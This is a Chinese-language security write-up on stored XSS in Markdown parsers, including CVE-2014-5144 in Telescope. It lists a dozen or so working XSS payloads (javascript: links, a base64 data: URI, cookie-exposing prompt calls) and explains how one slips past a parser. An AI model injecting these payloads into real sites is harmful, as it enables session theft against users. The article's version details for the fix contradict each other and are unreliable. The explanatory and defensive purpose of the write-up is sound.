漏洞分析:一個Markdown解析器的持久型XSS漏洞
什么是Markdown?
Markdown是一種輕量級的標記語言,流行程度已經(jīng)得到了GitHub和Stack Overflow的廣泛支持,作為普通人我們也可以輕松上手。
用markdown來寫文章非常贊,那些瑣碎的HTML標簽都可以拋到腦后不用管。最近5年內(nèi),markdown收到非常多的關(guān)注,包括Reddit,Github,StackOverflow在內(nèi)的很多應(yīng)用都使用 markdown這也催生了很多的markdown解析器的產(chǎn)生,這里定義了一些markdown語法,語法約定markdown解析器將這些標簽解析為html標簽。
Markdown安全現(xiàn)狀
Markdown解析器的安全現(xiàn)狀如何?有沒有對用戶輸入的數(shù)據(jù)做過濾?
事實上,很多markdown解析器都沒有過濾用戶輸入的數(shù)據(jù),那么如果markdown被用于添加用戶評論等功能的時候,就有可能存在安全風險。
這里有一些關(guān)于這個問題的討論:[1], [2], [3].
另外,如果用googe搜索一下:
markdown xss issue site:github.com
你就會發(fā)現(xiàn)github上又很多***很高的項目都被發(fā)現(xiàn)存在XSS 漏洞。
所以,如何構(gòu)造一些payload呢?看下面這些:
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
)\
<javascript:prompt(document.cookie)>
<javascript:alert('XSS')>
\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
上面這些payload是由Aleksa和原文作者一起搞出來的。在過去的12個月內(nèi),在實際滲透測試中證明,上面的這些 payload 是有效的。并且很多 markdown 解析器都受到影響。來看一下***一個payload:
[test](javascript://%0d%0aprompt(1);com)
我們猜測,markdown 解析器可能通過如下幾個步驟來進行解析&轉(zhuǎn)換:
判斷時候有協(xié)議頭?//有javascript 偽協(xié)議,Y
hostname 是以常見的域名后綴(com, org)結(jié)尾的?//是的,以 com 結(jié)尾 Y
將上述 payload 轉(zhuǎn)換為 HTML 標簽,//結(jié)果如下
- <a href="javascript://%0d%0aprompt(1);com>test</a>
成功構(gòu)造了一個XSS payload!當點擊了上述鏈接后,就會觸發(fā)XSS!
Telescope解析器一個持久性 XSS 漏洞(CVE-2014-5144)
Telescope是一個有名的開源項目,類似Reddit和Hackernews一樣,提供一個社區(qū)功能。Telescope的一個解析帖子&評論的功能存在 XSS 漏洞,并且這個功能存在很久了!
在0.9.3之前的版本中,以上面的 payload 列表中的 payload 發(fā)帖或者發(fā)表評論,就可以導致一個XSS漏洞。該漏洞已經(jīng)修復(fù),Telescope在這里發(fā)了changelog:http://www.telesc.pe/blog/telescope-v093-dailyscope/
下面是漏洞對應(yīng)的payload:
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
注意:上述漏洞已經(jīng)在Telescope >= 0.7.3版本中修復(fù)了。